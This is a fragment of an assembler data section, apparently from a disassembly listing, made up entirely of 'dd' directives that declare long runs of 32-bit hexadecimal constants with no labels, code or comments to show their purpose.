		dd 61CE6675h, 5E951E6h,	59AD400Bh, 8300BB53h, 817A126Bh
		dd 903DD7EBh, 0E8296825h, 18C2084h, 28EE2DACh, 0BF05BAE9h
		dd 0EAF4763Ah, 814150C0h, 0F41B8EE1h, 0A102B76Fh, 63DC47B3h
		dd 0B0F350E5h, 657E90Dh, 7A5179B9h, 0EC078820h,	6341EEA5h
		dd 55520EF9h, 0BD0BE820h, 0C16BB948h, 0D48CE697h, 60053742h
		dd 0B0058559h, 0C10681ECh, 52951D53h, 482BF4A8h, 0C9310C06h
		dd 0F06A7AC0h, 31396E9h, 0D1A13849h, 2BD4D100h,	31433D0Fh
		dd 8CADD15Fh, 0CEE73BB7h, 8B75B04Bh, 3F185F17h,	0C5280EA6h
		dd 0EE9130Ch, 9FE1504Ah, 1F4F3210h, 0FE8AD121h,	4B92CE5Eh
		dd 0EC4EF4E9h, 180E31ECh, 0F8F9575Ch, 5998016Fh, 4D2B9768h
		dd 0A707BEFh, 0BF42E7E9h, 79A72559h, 5D62FE2h, 7C3BD049h
		dd 0A16916BAh, 560BAF25h, 0D1370719h, 7CA006Fh,	952FC16Eh
		dd 0C2812D5Eh, 0C02211D5h, 2D2F826Ah, 0B1D5F19Ah, 0B27F5847h
		dd 92BC94B0h, 0CC0411A3h, 0AE2F715Dh, 8122294h,	0BE1C25AFh
		dd 0DC52805Ch, 6591A23h, 571D14BCh, 7B1D9834h, 0A53FDD7Ch
		dd 2C818DD7h, 0C6CFB27Bh, 0B0608EBh, 35F2E906h,	34D83B23h
		dd 4AD00826h, 0D407B10Bh, 74246F83h, 0C19C9045h, 6CB03E2h
		dd 0BDA0DF05h, 0BC6506F2h, 0CBE97F0Ah, 0FD94B114h, 0D92127F8h
		dd 0DD101500h, 34208E45h, 0CB2F44C7h, 0CF4A6324h, 195BD80Ah
		dd 0D6841D0Bh, 0CF80720Ch, 332C1AF1h, 0F8D9E919h, 0CE2BEE77h
		dd 6061153Ah, 0F8A95FA0h, 50ECFA10h, 2D4050B1h,	42C35828h
		dd 49B4F1B7h, 5CA03F88h, 546F402Ah, 0B25E4Eh, 6EE95381h
		dd 0BA1281FAh, 4B433884h, 85EEF07Fh, 0F4A51402h, 45BD04E9h
		dd 18680EE1h, 5909DA80h, 9F28E949h, 7590BA39h, 2111420h
		dd 76DCF181h, 895F9E93h, 78D6C3h, 4F745D05h, 0C252017Dh
		dd 3472D997h, 0B4FFB900h, 0F5403725h, 5DE82582h, 80C1455Dh
		dd 5906B768h, 29B05E67h, 0FEEE0860h, 88FF98A6h,	99D99E9h
		dd 0B21C7534h, 0B7FB6120h, 2A7D9FE0h, 26E2015Fh, 0E77A805Fh
		dd 958C645h, 0BA1D0514h, 0D5B8F639h, 4DE96461h,	2FFF33C7h
		dd 507CF5Eh, 0BAFFCDE9h, 1041775h, 0BB002074h, 64ED2406h
		dd 0FEDBF726h, 8590260Bh, 71EB01CDh, 96995262h,	0BA242934h
		dd 9020CC1Ch, 9E6220C5h, 78CA6807h, 0ADA27BDAh,	0A701C54Dh
		dd 2D1593DBh, 22871A58h, 0DAC35D50h, 637C70C0h,	0D525147Dh
		dd 699BFC30h, 12BD4DD5h, 0FE7041E5h, 0D1D486CCh, 3608ACCAh
		dd 5E53790Bh, 0F31D390Dh, 2861675Ah, 0AE84EBDFh, 9F4111A2h
		dd 0AA43842Fh, 9056709Ch, 6DBB02B9h, 0FE871A97h, 0A93C075h
		dd 0F7015F17h, 79A992EFh
		dd 2A414170h, 31019385h, 2E112330h, 0D01369F8h,	34028148h
		dd 29976051h, 0EE4C3249h, 0D9955C07h, 97BAD164h, 92B94056h
		dd 2904D176h, 3BCCE9C8h, 56F31EFh, 0CBCA5095h, 0EE3D25C5h
		dd 7E559C11h, 4AC25838h, 68A53CAFh, 0E9B90E62h,	952958D1h
		dd 87305466h, 0F480145Ah, 4AC4F0DAh, 11573103h,	0E1119223h
		dd 5B1C7B98h, 96F8E295h, 0AA15650Ah, 86A58DADh,	77966141h
		dd 0CA00A372h, 481ACC72h, 7500940Dh, 0E92D1811h, 90EEE75Dh
		dd 1049096Bh, 66FE3B9Ch, 6EDE08A0h, 0A535B640h,	98E9501Ah
		dd 0EBC3C43Dh, 501AB36h, 0E2C4D24h, 7B34D5D0h, 0BCC55F22h
		dd 38761067h, 0FE12BB5Ch, 0D2E7F80Dh, 43346EAh,	477618DAh
		dd 0C62E432h, 58C95E20h, 8004E7D0h, 0CAE998C7h,	4B31F693h
		dd 3B3FB184h, 24E97A8Ch, 0AFC9DE03h, 0ECC04078h, 90AE3C6h
		dd 0F2F1F30Dh, 0B1161A30h, 0E120013h, 0CE81312Fh, 114E9D0Ch
		dd 13653432h, 0ECCCC0B1h, 0F52D00F0h, 5408B1Fh,	7B61051Ch
		dd 84F8014Dh, 0E90803B5h, 9CDC0C51h, 0B99A89EEh, 43FC45B5h
		dd 0EE8467DEh, 347B04A3h, 0EE541E8Fh, 0AF93F281h, 9E59E92Ah
		dd 0FD2A46DFh, 831AF181h, 0E0EBBF30h, 0F0AA9441h, 4B4136A4h
		dd 50C1A244h, 87620B5Bh, 0B930CED0h, 6584C329h,	9E757632h
		dd 2096645Ah, 43F3F116h, 86F991CDh, 1C00420h, 0B55CD725h
		dd 0BE027609h, 60F728BAh, 0C482C518h, 0EEF86465h, 9BC4E84Ah
		dd 30FE8A0h, 69D5F795h,	25755E37h, 5C448E71h, 983B27CDh
		dd 1603EDD6h, 102680Fh,	81C42D5h, 39CD5A38h, 4E5CCB5Eh
		dd 3413F98Bh, 1699B384h, 0DD43C5DAh, 95741790h,	0C2BA5CEBh
		dd 250F42B5h, 73FA4BE1h, 15995864h, 78605DF1h, 2D9802Ch
		dd 9D8C4C52h, 93891165h, 8D819045h, 1C722C5Ch, 0E1B703F8h
		dd 0C8F0F871h, 0F6C05659h, 2DAD2A9Eh, 0BA061BEh, 0A78E39E9h
		dd 7399F84Dh, 0C19CEA03h, 0B652220Ch, 0E9F3C061h, 6A42F534h
		dd 17D5E3A3h, 0AA135EC4h, 267970F2h, 0AF502521h, 0AF7CB862h
		dd 0E00C53EAh, 0FBAEBB3h, 4D6956B8h, 48DC419Dh,	3E217DF0h
		dd 74E2EAE0h, 0DBB3B88h, 37E8F202h, 0E4DE0AB4h,	2139A18Eh
		dd 2401E91Bh, 0C50ECA36h, 79DF5570h, 292471A0h,	1005ECFEh
		dd 0CF815B08h, 1B946A39h, 513DBFFDh, 0C1E6B98h,	60311D7h
		dd 0EA895F05h, 0C4E0D4E9h, 66C20FB3h, 20E9B050h, 81744C77h
		dd 0E088AEA9h, 612CB7D9h, 0ED89281Ch, 0FD8F77B2h, 105DCA3Fh
		dd 0E521891h, 74821A22h, 52C44DEh, 5D145B42h, 1B201Ah
		dd 5FD93540h, 0C189D35Ah, 0A485585Ah, 90A1AA09h, 820D7203h
		dd 81351E55h, 997AB3DCh, 0ADB63E3Ch, 41B32E61h,	6E7531F6h
		dd 813AAC4h, 0DEEBB212h, 0B3B35F0Dh, 4909EF27h,	873B8EFEh
		dd 0A81DED3Dh, 657E44D2h, 0EA290C68h, 2177F7Eh,	0B2E878FAh
		dd 0BF2E7386h, 0E4F64425h, 9FA4FA11h, 0F5058880h, 382ED06Fh
		dd 9392152h, 5736C7Fh, 0BC9806C2h, 0DA43D023h, 0E3288409h
		dd 8BBA850Eh, 685034D4h, 214B54BDh, 19821CB8h, 0D1315242h
		dd 2CAEBE1Ah, 0AC0B9E6Fh, 24EF226h, 55A56761h, 68DDCD68h
		dd 9FFBFA2Fh, 9D64C851h, 2C2FE7B1h, 534B59C9h, 8586DBE7h
		dd 14C60AFBh, 209AED1Fh, 5A3831EFh, 5EF4E659h, 0ECD87006h
		dd 31B50151h, 0D06EB753h, 0B3F7F4EFh, 37FD202Eh, 27BA2113h
		dd 11ED82DFh, 0C1D38701h, 43A2431h, 9414379Ch, 38B0AAFBh
		dd 4AE20925h, 0ED8C06FBh, 0C401E86h, 4F072F68h,	504003DBh
		dd 9D734168h, 47E8A566h, 0B8562100h, 6A884CB1h,	0EECC9729h
		dd 0E9574806h, 0B738A9FFh, 3604A829h, 9B2D0034h, 0B7FDF90Bh
		dd 0CD116A24h, 51E67FEFh, 2B9A995Fh, 0C7922353h, 28C66810h
		dd 0A45B50FDh, 0B5EBEC2Eh, 0A86571F1h, 2C5B75D0h, 15D8E094h
		dd 0D6270468h, 0FFBC3716h, 60CABB28h, 0C4B5600Fh, 6E16CD80h
		dd 0B8FC9068h, 0FE01B2C0h, 0DA0BF6C2h, 0A992A9E9h, 0F2FAF88Ch
		dd 0AC894A75h, 12D3B1DDh, 37BE982Ah, 0D55E10C9h, 598B3CCh
		dd 74621A39h, 0C307654Fh, 0B3B5F529h, 0E44E39A8h, 3D6FF8Dh
		dd 0F34F05F8h, 717F48C7h, 4E9A4B13h, 58145B0h, 0F459C3CDh
		dd 80D88752h, 0D10A0D65h, 0E54BC1ECh, 35484C80h, 0E9590E40h
		dd 251C7D78h, 0E9F93C76h, 0B4549FCDh, 0FF7BA671h, 0CB788C3Ah
		dd 7997DAEAh, 687B7199h, 165358E5h, 0DA2C22F2h,	0E90244EDh
		dd 0FB08D85Bh, 362D40BDh, 3F4F4546h, 7418FF8h, 0FEE14238h
		dd 0CF6FA1D1h, 435A43Ah, 4008BE00h, 3B813EC2h, 0A9867EE6h
		dd 10DEF736h, 326C0A1Ch, 9C0133A6h, 0C133F263h,	1E8207D9h
		dd 0A190E84h, 63310A41h, 685809ECh, 5769B2C3h, 6CFE6EECh
		dd 94F3145Fh, 2ADA7479h, 0AB20AA7h, 0F558DB2Ah,	2D823CA8h
		dd 93169A5h, 6D451261h,	0C5901087h, 8D72112h, 8907329Dh
		dd 0FA3759CFh, 48A1BFA5h, 83B78A2Ah, 4C538EE9h,	0C7100710h
		dd 4E661C19h, 0D30EEEACh, 44EFF767h, 1695BDC2h,	0D84B43BCh
		dd 626057DDh, 6E5AEF65h, 108160Fh, 0C21416F8h, 0AB605602h
		dd 7D320EE2h, 0A130D405h, 9347148Ch, 9CF160FEh,	4D1CB11h
		dd 0E9F8037Eh, 3BB15002h, 99A01694h, 875FB906h,	180156D6h
		dd 736FF755h, 0C40A45D3h, 805870A9h, 6E67E709h,	77E49D23h
		dd 8CBF5705h, 80FA9D36h, 5D5986A5h, 99BF0BDh, 254E036Ch
		dd 9C30458Bh, 450549BAh, 0E2D1627Ah, 8682B9C0h,	21F8270Dh
		dd 0D4E9F830h, 1677BE49h, 6D0076EFh, 0FE18AEBAh, 0EA31317Fh
		dd 7AF4B3A2h, 0F34F9A8Ah, 49038FDh, 0CB01131Eh,	0B5480810h
		dd 9843A65Ah, 4A9EE90Dh, 8A2340CCh, 0BB71F261h,	0DB05C200h
		dd 0E9D33174h, 9087B251h, 0C77A2027h, 5E7C116h,	7DA101AAh
		dd 6E06D509h, 8B7C48C2h, 0F2E758F7h, 2D8A1CF1h,	16FABF25h
		dd 0AA7F9E30h, 0C625B613h, 0BADB86D8h, 62BD38ECh, 0C163DA81h
		dd 304506EDh, 4A12A415h, 910CD9E7h, 0A208645Dh,	24678DEh
		dd 52201205h, 7FBACA01h, 6ED98541h, 4D7976F3h, 53258E8Ch
		dd 0DD0BC8F2h, 862AFC74h, 4A6E439Fh, 190AB826h,	0E53FA31Eh
		dd 0B2502CDCh, 5D8016Dh, 2A545529h, 3D8A7E5Bh, 0B5002127h
		dd 0C8310EE8h, 5F80683Dh, 78F19F31h, 8CCDB26Fh,	0A500E8Bh
		dd 12E54E9h, 0EEC788C0h, 0D0E1EB93h, 0F9D1AD0h,	0E9CB210Fh
		dd 0CE4D926Ch, 0AD5E86EEh, 528B969Dh, 0C8DAF42Dh, 0C4488F2Ah
		dd 3892C602h, 7658134Ah, 0D1F0C4FDh, 0CA5D6664h, 0D7FA9C55h
		dd 1603EC18h, 392B96F6h, 841FE912h, 8880ABB1h, 2FA3208Ch
		dd 8A535A1Ch, 43C07D3Bh, 5E45E1EFh, 17F7EC6Eh, 5C2306Ah
		dd 0EF476C9Ch, 0EC2B053Dh, 6A4BA253h, 0FAA86381h, 0BE9FEEAh
		dd 9C7FCBF5h, 440AFC97h, 3B80149Bh, 6B58819Eh, 0B51888CBh
		dd 21153944h, 0E888E2C7h, 51E6A272h, 0DA53FD5h,	6F56B909h
		dd 80E25A12h, 0F3808CC1h, 0CB06975Dh, 2CE29402h, 27C3F7F5h
		dd 0A7FBAA6h, 4AE86880h, 0E4C6BD27h, 0B98507DDh, 49610E68h
		dd 29F2BB3Bh, 0B0DD5EA2h, 0B7A12903h, 0D6A7405Bh, 0F18A73ACh
		dd 0F257EF0Ch, 899C603Eh, 7FEFF4C2h, 0F6A1D75Eh, 8F74E2DDh
		dd 4C597ACBh, 3C2CBEFBh, 0D19739A8h, 0CA49EEEFh, 5E3A6085h
		dd 8955155Dh, 0A65AE1CDh, 0A02C1362h, 6A75AD40h, 25092B3Fh
		dd 0F7415DE8h, 20A79EC7h, 43407BA5h, 953F8553h,	9A08255Ch
		dd 0B2415FD9h, 0E8D16EEFh, 0DB80C8B4h, 0B21F22C6h, 0F5B83108h
		dd 134E712h, 9F165B0h, 5533A502h, 6C89EDE1h, 3B1C19BFh
		dd 0D6E6624h, 0A55B779Ah
		dd 73945D6Dh, 5DB391A0h, 57366C01h, 0FE304C68h,	525B5CE2h
		dd 4B9B405Dh, 56A52264h, 598C01B5h, 21604820h, 74540270h
		dd 614DE9C9h, 0F681FEDEh, 172E51ACh, 475AA02Ah,	8FA33F4Bh
		dd 0E919D196h, 2DB8B9A3h, 6BB6DC59h, 0E101CDF0h, 3F015FE7h
		dd 60DF65E9h, 58C7103Ch, 0BDDFFE09h, 8706358Ah,	0FFEA800Fh
		dd 0F257CA1Dh, 0E91260ABh, 26D12D69h, 0E5F61AB3h, 0B3878750h
		dd 88510CC8h, 1540761Ch, 973C04BEh, 0C129DE03h,	7E92AB8Eh
		dd 6E09B4A6h, 0B65F0142h, 93D19C18h, 522CAB5Eh,	797417EDh
		dd 0A87B0026h, 2D2BEF44h, 6858917Dh, 0F3C12F4Bh, 0F68631DDh
		dd 0D7FB0534h, 0C337C8ABh, 68555701h, 4FB516C8h, 75C3B65Ah
		dd 81F55060h, 2D13B4CDh, 0F60078AEh, 311EFF01h,	345DEF74h
		dd 8DC5D382h, 1C99B004h, 0EFB080FEh, 533B6A8Ah,	1ACF072Ch
		dd 183CED51h, 5AF3761Bh, 0D70F8FEh, 9E1FDCE9h, 0C13D4E60h
		dd 79F9BE0Dh, 0B8C744DDh, 9D7276Fh, 0F8FD7665h,	364FED68h
		dd 4FB1B8B8h, 52BD04FDh, 2C8C660h, 0DE9763A6h, 13BA5019h
		dd 1E8217B4h, 0C17C6A76h, 3100E55Ch, 89425BDAh,	16304E48h
		dd 518EEA3h, 290C951Eh,	3FFF9FFEh, 31294B78h, 3943B46Fh
		dd 4510A265h, 18E547FBh, 15DA230h, 3EF93362h, 38934089h
		dd 0CDFBC633h, 0E592FADBh, 50792423h, 0A7685103h, 0E1284702h
		dd 867C34D3h, 2D13BAD0h, 7572EFF3h, 8E5712C7h, 7050187h
		dd 5F3BE5Ch, 0E9DE290Bh, 9961D413h, 7E092565h, 32E95D2Ch
		dd 53981D9Bh, 0F1EA3BDFh, 547B8C72h, 6E26FC51h,	0A07BA71Ch
		dd 175FC501h, 0A6B4878h, 2608EDBDh, 6DD5491Ah, 2F14A91Eh
		dd 19E9A0E8h, 5101A49Ch, 76E1B966h, 0C3AD63D2h,	0EA0A0247h
		dd 0A0E90B0Eh, 0CD7784E4h, 0AF62F831h, 2B415AD5h, 0CFF8F021h
		dd 801CDE59h, 0B0B15146h, 807DC1FEh, 0F7EA9573h, 0B8E351B5h
		dd 0B252D805h, 25C7E911h, 2703E546h, 2714854h, 10F7A73Fh
		dd 0C109A73Dh, 30F504E6h, 7101B428h, 0E952093Bh, 8CCCC455h
		dd 9755F995h, 4E2E8F5Ch, 50014B8Ah, 0B5C1068h, 18447241h
		dd 0F22FC27Bh, 0A7DF1211h, 437BE4D1h, 8AD5FB18h, 271BC0C0h
		dd 0C4602C18h, 51BF2248h, 6BEC03Ch, 3A127C3Eh, 2EBDEF7h
		dd 0F808CA89h, 0A5CE9380h, 0E9F07D4Dh, 0D98AC12Dh, 42F03ABh
		dd 28E24182h, 9220A47Ch, 0D53ECD24h, 668DED81h,	4AC70991h
		dd 0CC9083FEh, 0D20B215Eh, 7BDEA0D1h, 0E7025B4Bh, 0DC9ED02Ah
		dd 98126135h, 8160DF31h, 9D5FF821h, 6804C4D1h, 4ACD4CB3h
		dd 0FE93A2EAh, 7B864ADh, 0D5320DE3h, 9F36354h, 0C91001B1h
		dd 0D20622DDh, 50C044FBh, 0DDF70661h, 20BC14CCh, 0EE3FF892h
		dd 1EFD6BF3h, 433E2D02h, 0B7B344h, 157FB82Ah, 0FF094AC4h
		dd 515D6540h, 2C6871B9h, 2B00D21h, 7C653828h, 3D5F8840h
		dd 105E50Bh, 4A3282CDh,	0AC91F12Dh, 6653184Dh, 644D9A68h
		dd 0BBDF8A2Ah, 0F4FDEE13h, 2124E45Fh, 0EC1C572Fh, 36102D8Eh
		dd 11608712h, 0C9147F8h, 80F8406Bh, 6A640578h, 0C083E0D1h
		dd 41E3E9BFh, 6B7389C0h, 0BE5D3B7Fh, 0DBA0419h,	1FE6BA01h
		dd 8097D950h, 658EAC1h,	0CB82E5C5h, 0F13D4093h,	97C5F6D4h
		dd 2D0160D2h, 799F377Ch, 0C32FD001h, 89D8A937h,	300FBD5Fh
		dd 0D2FA3B0Bh, 0BF8B5DFBh, 0F7F732DAh, 2B941978h, 6D0294E8h
		dd 8E342971h, 0F6F604Ch, 784A5860h, 0A9C20342h,	0D19C7BA1h
		dd 5585E017h, 0CBDE46F9h, 1928292Ch, 82B4819Bh,	0C076C280h
		dd 2527E9E2h, 7D94770h,	97C1668h, 3F3F457Dh, 3D10DF17h
		dd 18A53AE0h, 8D3A62Fh,	12ABE2E9h, 26170956h, 0EA0942C0h
		dd 0DA4B3D98h, 0B04CECB2h, 8D36972h, 8240230Fh,	3A05B304h
		dd 75990238h, 0B51ECC09h, 0EF7622Fh, 4F11B407h,	56C954E2h
		dd 79BFDD5Ah, 27E81FACh, 689C359h, 20CE667Bh, 5376B8E5h
		dd 8D6DB92Ah, 13CBB758h, 23F05943h, 37B166F3h, 0BA88DEE1h
		dd 5EFC5758h, 210BFD94h, 0EBF580F3h, 0D37340h, 7F902DC8h
		dd 0D8294248h, 5B070550h, 56676819h, 5A7CFEB7h,	0E4C14C62h
		dd 0A4B48F09h, 5D8D4834h, 0D1D8CC93h, 0ACF4ADh,	2C7BA8BEh
		dd 0A40B6D8Ch, 51FF0299h, 0A8645720h, 0E7FC3CA0h, 5A01DF2Eh
		dd 3DBFB20Ch, 680E06D2h, 0BCF72914h, 4A0BC71Dh,	32E91B83h
		dd 2D26256Bh, 6844CD2Fh, 0FEC2E00Eh, 203C7291h,	7B2C9889h
		dd 0B6E1DE1h, 1382BE23h, 51E34C04h, 3CB6C9E8h, 586B280Ah
		dd 30250635h, 826541C5h, 259846D5h, 0CA7003CBh,	438CB55Ah
		dd 875552B7h, 4FED9110h, 0D022D2ECh, 0E898BD98h, 790D224Dh
		dd 3DFD6812h, 85309633h, 8266C5FAh, 0B664DA5h, 0AFB75303h
		dd 92F88850h, 0A1A045C5h, 0D1190B80h, 55120B65h, 0EE8032BBh
		dd 0DD5A9DFCh, 39989198h, 5BDAADA8h, 37A20505h,	9AE44FEh
		dd 0FA605C8Dh, 1F4B6856h, 97836F3h, 22F15DC2h, 7000DB5Eh
		dd 0E9614534h, 28F460AEh, 180CE0D0h, 7E8C017h, 0E4D8D4BCh
		dd 0CF098091h, 506BE94Eh, 2B5458A6h, 0FCD18F12h, 4FF5A669h
		dd 0E9A7CC5Dh, 0C06A172Ch, 5FEAE142h, 201449B8h, 6860989Fh
		dd 0E60156BDh, 6627AB16h, 5698238h, 3C335657h, 1389BB25h
		dd 27B334DDh, 0D3F9FCDAh, 6885ACACh, 38D8332Ah,	0E5271390h
		dd 9203E635h, 0BAD68BB8h, 2405862Ch, 796763h, 1A1E35F5h
		dd 0E569D13Eh, 808B0004h, 5C90D862h, 12308451h,	6AC4B9B8h
		dd 177FE13Dh, 0B0F9634Fh, 0EF835A09h, 6171374h,	0C02A24BFh
		dd 0AB07EB12h, 2EE96013h, 13ACE457h, 177B3B51h,	4516AAE5h
		dd 0E9090CB7h, 0E17BE5C2h, 0A69E8920h, 9889C97h, 75434CB9h
		dd 371C5458h, 722D029h,	58535BF4h, 1D245099h, 0CB54BAEDh
		dd 84C5F69h, 0A85EB52Ch, 90A70CCDh, 0FE79055h, 0E15B9F75h
		dd 1313A5A4h, 9A50ADB2h, 0C7030090h, 536ABE31h,	9F92E982h
		dd 25BC173h, 0CC5F4E2h,	209DC9E4h, 3C704752h, 0C8E83AE1h
		dd 49B2BEE4h, 9F388541h, 4AE86802h, 85805C9Eh, 9A30A1E1h
		dd 3B0C4F60h, 2612D274h, 0A5D6FDE9h, 3F24A451h,	0C6371E0Ch
		dd 0F08A5F5Bh, 546F880Eh, 33A1C608h, 0D3C6951Ch, 0D1BD17B0h
		dd 6DF6C9C5h, 97D4688Eh, 4EE88634h, 20FEB873h, 0B03B5810h
		dd 70E6ACD1h, 82E2818Fh, 0C0095D51h, 655004AAh,	0C8D56E54h
		dd 30B6C5BFh, 4557BB01h, 5FE97005h, 5C24F32Ch, 4933EC7Ah
		dd 3CB3E64Ah, 24608657h, 912B52BAh, 0E0A43BF1h,	1D3944Eh
		dd 0BD797EB9h, 8BA8AD77h, 0CA2FF5F1h, 9DF82C61h, 5A146017h
		dd 830BE9E3h, 1A7DD00Ch, 0C0C1E237h, 7C03DB11h,	81CD029h
		dd 2C141C68h, 52391237h, 0CD21EA86h, 36C49E35h,	0C38907BDh
		dd 908D4E9h, 8344B1D3h,	52056802h, 0FD6934D6h, 3D098922h
		dd 0C5010076h, 0E38DC2FBh, 27759D6Fh, 710B921Fh, 0F434A92Eh
		dd 0A2D517B3h, 0A74592C4h, 22A23A98h, 7FF9259Bh, 0F2C2DFEh
		dd 0EB1294EBh, 16CA56D7h, 292254BCh, 7D0A2DC0h,	0C5FF16FFh
		dd 3E298Bh, 51250C39h, 242EAD1h, 5E0ECA81h, 7D6E75h, 4DD97355h
		dd 0E57AB701h, 2F55042Ch, 7A4BC602h, 932DE318h,	8244EFD6h
		dd 982C4CD6h, 422AE7Fh,	0D76678BAh, 0C84BA41h, 0E19AC8BBh
		dd 1A711718h, 430F50Ch,	0D5313933h, 0AE60AB5Ah,	0E1011C85h
		dd 8632802h, 67F8ADF5h,	66538FCCh, 3D78E950h, 0C3801A83h
		dd 559FFE93h, 0FACC1F3h, 0DC88013Fh, 403CF570h,	0F54C0167h
		dd 0BD3010A7h, 9EDBB2Eh, 69DD4BC8h, 28B85094h, 0ACFE3125h
		dd 0DDC4513Dh
		dd 0F616A502h, 0C4BB63D8h, 5D485776h, 0A2200253h, 0F629BFCEh
		dd 0B7FD1015h, 685DEFE0h, 3D5C5F95h, 4CCB6FECh,	0C3B5E917h
		dd 287BAC09h, 9A20997Ah, 0CE302442h, 0D25B421Ah, 3C685100h
		dd 2DAF3D32h, 0F86B1292h, 24E682DDh, 0C6BC40CAh, 2CD3726Eh
		dd 92368965h, 2ABAB1C4h, 6975EA01h, 6AF06CA0h, 8C1783E3h
		dd 69AEEB37h, 16E2324Bh, 342AF0Eh, 0DC759168h, 0F55447BAh
		dd 580CA0A4h, 0C5E38B95h, 9C2BAAD1h, 27C1CE7Eh,	55312B4Ah
		dd 348509C6h, 246FF5D6h, 78F7A226h, 7FE72C1Fh, 730DB54h
		dd 0E3805AF3h, 40EB3395h, 0A9F9DDCBh, 8C393F9Fh, 4E7ED6F9h
		dd 0E5E9F0A9h, 0BD042CF0h, 52200648h, 5D3F2BB9h, 0F865D795h
		dd 36C0D32Fh, 87828CFFh, 1C59C49h, 3168FF20h, 15E79765h
		dd 273236A8h, 5EDF2183h, 1AB66FAEh, 0E7751ABAh,	0BDE984F3h
		dd 0D789BAF6h, 3B0892Ch, 749DE6Bh, 0C381007Ah, 56337E11h
		dd 0E9401793h, 2FEEB1A5h, 44D709F7h, 49CECD11h,	7A345155h
		dd 0FB4870F9h, 6EB951C0h, 6B6D257Bh, 33BB6EE0h,	829E6A3Fh
		dd 62E9FB31h, 2A93DD2Dh, 6AA554C1h, 8924AFCAh, 2774A8EFh
		dd 7DD4E2D2h, 9B54B6C2h, 0C159B28Ch, 0EA65C738h, 2AED9E01h
		dd 0FF89AFD3h, 3FADCF80h, 0CF9827BAh, 44385501h, 384E91Fh
		dd 864DD7Bh, 0D57DE970h, 0E0BF0F92h, 0E12A16E6h, 0C0E3F6C2h
		dd 0DF5E63F5h, 94E1E58h, 0F80DE9E8h, 30BF052Bh,	0F038084Ch
		dd 482F9DE2h, 5EFD4C5h,	0D37BE903h, 55B62174h, 0DCFA6F9Ah
		dd 66909A5Eh, 30906296h, 350E4912h, 645A5854h, 3CB08FF8h
		dd 0FA584DE7h, 7C231ECCh, 5CF81D17h, 9008C128h,	3476316Bh
		dd 3EEDF4E3h, 4459F91h,	0B8475CCCh, 0FE7F2A5h, 2FEE4379h
		dd 1487EFE0h, 0C8C07622h, 2AA88B5Ch, 76789D31h,	4EDFF24Ch
		dd 0B8502F00h, 7B7628h,	7F50D0Eh, 0D8052779h, 743B617Dh
		dd 941E0740h, 0C320A021h, 0FF38158h, 3FE7765Bh,	18733BC2h
		dd 0BCD21DC3h, 2771E5F5h, 3AE00FC9h, 2DAE9817h,	0D7EC2F6Fh
		dd 677CD0A4h, 1D01D126h, 0C79FE6BBh, 0A82E293Dh, 0C4198DF2h
		dd 0E5F5AC2Bh, 0BAA5ABBCh, 4EF8C228h, 6018CD59h, 5E814C85h
		dd 4EB6254h, 9F012B0h, 0F3E92089h, 4EC004EFh, 48C1FC6Bh
		dd 0F2B2B503h, 0EAA2E90Bh, 4ED63B75h, 0A47DECA0h, 1290922h
		dd 80301DE9h, 332CB8ECh, 0B7313D88h, 961215D1h,	0CBAA1FC5h
		dd 2F071CA9h, 42537ED7h, 0ED3D03BBh, 0F8EDEB92h, 58A25EBDh
		dd 0ED8EE9C7h, 82E32A44h, 0E9C245D2h, 0A38B8E4h, 7E029868h
		dd 0C826C6B3h, 78E93CEFh, 734DBD5Ah, 430CF6A8h,	0C6E5355h
		dd 15712B2h, 0AF50AE5Bh, 0DDF25A08h, 614FB9C0h,	0CCE25E5h
		dd 7D86000Eh, 3015C8BFh, 0E9E6AED7h, 53957135h,	58E29028h
		dd 19EA3C76h, 0BA22323Bh, 3E3AEF60h, 2624BF65h,	338925BCh
		dd 983D0F6h, 0DD6B8412h, 52A79788h, 954BB907h, 48F6BCEAh
		dd 0F9954B96h, 95FADEE0h, 0F1043952h, 79E6775Fh, 0AD84F4BFh
		dd 686E8613h, 7F858C00h, 4C0109BBh, 841F2CDh, 0F38656BFh
		dd 1A2B1547h, 0B2D837Fh, 8695C92h, 6C988E9Fh, 3E0E2DA0h
		dd 0B2A72B19h, 96630C0h, 599C65Bh, 0BFF057E9h, 0C62B7DBEh
		dd 0A7CB6B8h, 0C2EEE1Fh, 0DCFE018Bh, 20611212h,	780222A8h
		dd 65F7205Dh, 9014E036h, 8541125Bh, 2A0053A2h, 51CEE57h
		dd 0A72D7349h, 206D5E36h, 555E0107h, 0AA162FBDh, 8D2A3034h
		dd 0EBE8A55Eh, 7E94FBD2h, 55B3E480h, 214E27A5h,	0F23F1058h
		dd 49468961h, 2EFDDA31h, 0A84EE7E9h, 5EF69074h,	0FE90C937h
		dd 0DC4AA8DDh, 0F56E823Fh, 0CD890Dh, 0D8EB82C5h, 0A0115F4Eh
		dd 15B317DFh, 71E77649h, 1C80922Fh, 9EA88B21h, 0BF45944h
		dd 4E39D45Dh, 0C0ED6D00h, 95109AB1h, 15685E87h,	0C6F3AC3Ah
		dd 4E5E3BFh, 141F80C9h,	58BAEC3Dh, 27417B79h, 0EF5417Bh
		dd 20256248h, 1EE86D93h, 0F10C82F3h, 0D767C5B9h, 9D3AC90Ch
		dd 0A483BC4Ch, 0EE31E704h, 0F7827FBCh, 47148D8h, 0C5750501h
		dd 94D4A861h, 115B3D1Ah, 737AAB0Ch, 2D51F8E6h, 1189D607h
		dd 460BF7FEh, 510D544h,	122F6B73h, 40BEA69h, 0CBEF5A08h
		dd 2F37129Fh, 4462C1A6h, 0AEE21B3Dh, 1395946Bh,	68C85608h
		dd 9930E9A6h, 0EB28E4FAh, 4A807359h, 8717F95Eh,	110E30CEh
		dd 0BB145978h, 0BE38912h, 0DC63181Dh, 0E1570ADAh, 0F22B306Fh
		dd 0FC27DCEDh, 0B0BBA0E3h, 9F14BD78h, 5FFF0995h, 649FE59Ch
		dd 0D0680264h, 4EDBE94Fh, 0FF20D6AFh, 5D483F67h, 0C98F63BFh
		dd 8C7B5369h, 119DFFBCh, 64E8ED09h, 215D4C9Ah, 78690890h
		dd 849D1775h, 0B774EE9h, 93045FC0h, 60D3A192h, 0D91E5F2Fh
		dd 0E1D7DD28h, 25F68AB0h, 0A7766D6h, 461F9A22h,	62972CA5h
		dd 0A12C2E37h, 0C9053CC7h, 0E97A1770h, 6DD01021h, 0BAEE8812h
		dd 5D590809h, 0FB0390C2h, 0AB05AA1Bh, 6F2D32F5h, 107ECF04h
		dd 0E75C4EB7h, 25B502Ch, 159E1E32h, 158E041h, 0C17F315Fh
		dd 0E8C6BF03h, 0D0C71691h, 12C62C9Eh, 0B14F0A8h, 71E91E54h
